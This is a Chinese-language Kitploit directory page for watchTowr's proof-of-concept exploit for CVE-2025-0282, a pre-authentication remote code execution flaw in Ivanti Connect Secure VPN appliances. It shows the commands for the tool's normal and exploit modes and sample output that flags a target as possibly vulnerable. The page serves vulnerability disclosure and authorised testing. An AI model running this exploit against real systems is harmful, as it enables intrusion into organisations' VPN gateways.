Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-0282 — Ivanti Connect Secure IFT TLS 栈溢出认证前 RCE (CVE-2025-0282) | Kitploit
工具/GitHubGitHub/watchtowrlabs/cve-2025-0282
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队远程访问工具
GitHubwatchtowrlabs/cve-2025-0282

CVE-2025-0282

Ivanti Connect Secure IFT TLS 栈溢出认证前 RCE (CVE-2025-0282)

查看仓库
311051年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-0282

Ivanti Connect Secure IFT TLS 堆栈溢出预认证远程代码执行(RCE)(CVE-2025-0282)

此代码被刻意以非平凡的方式破坏,需要按照我们之前在利用技术博客文章中概述的方法付出努力才能使其正常工作。

要了解此漏洞,可以查看我们的技术文章。

利用演练与技术 - Ivanti Connect Secure RCE(CVE-2025-0282)

PoC

该代码以两种模式运行:

  1. 正常模式
  2. 利用模式

首先以“Normal”模式运行代码。如果遇到密码提示,说明目标可用。接下来,切换到“Exploit”模式。如果你看到消息“Failed to complete authentication”,目标可能存在漏洞。请注意,利用代码包含硬编码的地址和偏移量,你需要对其进行修改以适配你获准测试的目标。

正常模式预期结果:

root@kitploit:~
MODE=normal ./openconnect-9.12/openconnect --protocol=pulse --user=test 10.20.5.4  
                 __         .__  ___________                    
__  _  _______ _/  |_  ____ |  |_\__    ___/_____  _  _________ 
\ \/ \/ /\__  \\   __\/ ___\|  |  \|    | /  _ \ \/ \/ /\_  __ \
 \     /  / __ \|  | \  \___|   Y  \    |(  <_> )     /  |  | \/
  \/\_/  (____  /__|  \___  >___|  /____| \____/ \/\_/   |__|   
              \/          \/     \/                              


        (*) Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)

          - Sina Kheirkhah (@SinSinology) of watchTowr ([email protected])

        CVEs: [CVE-2025-0282]

Connected to 10.20.5.4:443
SSL negotiation with 10.20.5.4
Server certificate verify failed: signer not found

Certificate from VPN server "10.20.5.4" failed verification.
Reason: signer not found
To trust this server in future, perhaps add this to your command line:
    --servercert pin-sha256:kE2T2Rx2hc9EquYWABzj22wil29SZezWLdJ7OnhpdMw=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 10.20.5.4 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
Got HTTP response: HTTP/1.1 101 Switching Protocols
Enter user credentials:
Password:

利用模式预期结果:

root@kitploit:~
MODE=exploit ./openconnect-9.12/openconnect --protocol=pulse --user=test 10.20.5.4  
                 __         .__  ___________                    
__  _  _______ _/  |_  ____ |  |_\__    ___/_____  _  _________ 
\ \/ \/ /\__  \\   __\/ ___\|  |  \|    | /  _ \ \/ \/ /\_  __ \
 \     /  / __ \|  | \  \___|   Y  \    |(  <_> )     /  |  | \/
  \/\_/  (____  /__|  \___  >___|  /____| \____/ \/\_/   |__|   
              \/          \/     \/                              


        (*) Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)

          - Sina Kheirkhah (@SinSinology) of watchTowr ([email protected])

        CVEs: [CVE-2025-0282]

Connected to 10.20.5.4:443
SSL negotiation with 10.20.5.4
Server certificate verify failed: signer not found

Certificate from VPN server "10.20.5.4" failed verification.
Reason: signer not found
To trust this server in future, perhaps add this to your command line:
    --servercert pin-sha256:kE2T2Rx2hc9EquYWABzj22wil29SZezWLdJ7OnhpdMw=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 10.20.5.4 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
Got HTTP response: HTTP/1.1 101 Switching Protocols
Failed to read from TLS/DTLS socket: Error in the pull function.
Failed to complete authentication

 [!] Target might be vulnerable

利用代码作者

此漏洞利用代码由 Sina Kheirkhah(@SinSinology)编写,来自 watchTowr (@watchtowrcyber)

参考

此代码所基于的 openconnect 项目

关注 watchTowr 实验室

如需获取最新安全研究,请关注 watchTowr 实验室团队

  • https://labs.watchtowr.com/
  • https://x.com/watchtowrcyber
下载工具